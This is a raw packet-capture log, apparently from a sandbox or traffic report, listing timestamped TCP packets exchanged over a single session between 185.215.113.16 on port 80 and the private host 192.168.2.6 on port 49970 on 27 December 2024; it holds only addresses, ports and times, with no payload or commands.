Dec 27, 2024 08:52:22.807996035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.808043957 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.808075905 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.808115005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.808965921 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.809016943 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.809060097 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.809103012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.809968948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.810014009 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.989808083 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.989876986 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.990020037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.990061998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.990173101 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.990212917 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.990281105 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.990318060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.991168976 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.991214037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.991269112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.991307974 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.992181063 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.992237091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.992265940 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.992305040 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.993141890 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.993197918 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.993227005 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.993272066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.994148970 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.994199991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.994234085 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.994272947 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.995145082 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.995201111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.995239019 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.995279074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.996134043 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.996174097 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.996181011 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.996313095 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.997148037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.997195005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.997236013 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.997281075 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.998106003 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.998151064 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.998152971 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.998184919 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.999123096 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.999196053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:22.999205112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:22.999257088 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.000091076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.000133991 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.000190973 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.000226021 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.001066923 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.001111031 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.001146078 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.001189947 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.002057076 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.002106905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.002150059 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.002192974 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.003082991 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.003135920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.003164053 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.003201962 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.004034042 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.004072905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.004129887 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.004178047 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.005024910 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.005068064 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.005141973 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.005182028 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.006036997 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.006083012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.006134033 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.006175041 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.007019997 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.007074118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.007108927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.007185936 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.008018017 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.008068085 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.008111000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.008150101 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.009021044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.009073973 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.009094954 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.009136915 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.009994984 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.010045052 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.010077000 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.010138988 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.010973930 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.011023045 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.011082888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.011125088 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.011976004 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.012027025 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.012061119 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.012105942 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.012984037 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.013031960 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.013067007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.013104916 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.013952017 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.014020920 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.014070988 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.014111042 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.014950991 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.015002966 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.015034914 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.015075922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.015984058 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.016041994 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.016045094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.016082048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.016952991 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.016998053 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.017047882 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.017086029 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.017915010 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.017962933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.018024921 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.018066883 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.018913031 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.018960953 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.019022942 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.019067049 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.019925117 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.019975901 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.020001888 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.020039082 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.020896912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.020948887 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.021009922 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.021053076 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.021888971 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.021965027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.021986961 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.022025108 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.022875071 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.022926092 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.022981882 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.023025036 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.023930073 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.023979902 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.023984909 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.024022102 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.024867058 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.024908066 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.024992943 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.025033951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.025855064 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.025918007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.025947094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.025988102 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.026844978 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.026899099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.026990891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.027033091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.027826071 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.027887106 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.027923107 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.027966022 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.028835058 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.028886080 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.028949976 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.028995037 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.029825926 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.029874086 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.029913902 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.029958010 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.030808926 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.030858994 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.030895948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.030950069 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.031800032 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.031857014 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.031915903 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.031985998 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.032805920 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.032869101 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.032882929 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.032924891 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.033785105 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.033838987 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.033879995 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.033925056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.034766912 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.034821033 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.034866095 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.034909964 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.035778046 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.035850048 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.035880089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.035926104 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.036750078 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.036833048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.036870003 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.036904097 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.037724972 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.037781954 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.037842035 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.037888050 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.038737059 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.038791895 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.038865089 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.038913012 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.039766073 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.039815903 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.039827108 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.039869070 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.040715933 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.040760040 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.040807962 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.040900946 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.041646957 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.041695118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.249335051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.249398947 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.249468088 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.249521017 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.249588013 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.249661922 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.249717951 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.249792099 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.250607967 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.250622034 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.250673056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.251414061 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.251465082 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.251507044 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.251550913 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.252398014 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.252445936 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.252486944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.252532005 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.253395081 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.253443956 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.253458023 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.253504038 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.254380941 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.254426003 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.254465103 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.254515886 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.255368948 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.255423069 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.255484104 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.255531073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.256400108 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.256443024 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.256463051 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.256500006 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.257370949 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.257415056 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.257487059 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.257529020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.258351088 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.258404016 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.258408070 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.258447886 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.259366989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.259418964 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.259457111 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.259495020 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.260315895 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.260397911 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.260411024 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.260448933 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.261348963 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.261394978 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.261396885 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.261435986 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.262327909 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.262376070 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.262435913 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.262474060 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.263308048 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.263358116 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.263453007 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.263493061 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.264290094 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.264333963 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.264370918 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.264411926 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.265285969 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.265336990 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.265361071 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.265398979 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.266320944 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.266371965 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.266401052 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.266443968 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.267263889 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.267318964 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.267362118 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.267399073 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.268281937 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.268327951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.268379927 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.268419027 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.269263983 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.269311905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.269346952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.269387007 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.270246029 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.270293951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.270306110 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.270347118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.271255016 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.271330118 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.271362066 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.271403074 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.272245884 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.272293091 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.272295952 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.272335052 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.273233891 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.273291111 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.273327112 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.273366928 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.274209976 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.274262905 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.274327993 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.274369955 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.275196075 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.275244951 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.275307894 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.275348902 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.276185989 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.276238918 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.276381969 CET	80	49970	185.215.113.16	192.168.2.6
Dec 27, 2024 08:52:23.276427031 CET	49970	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:52:23.277175903 CET	80	49970	185.215.113.16	192.168.2.6
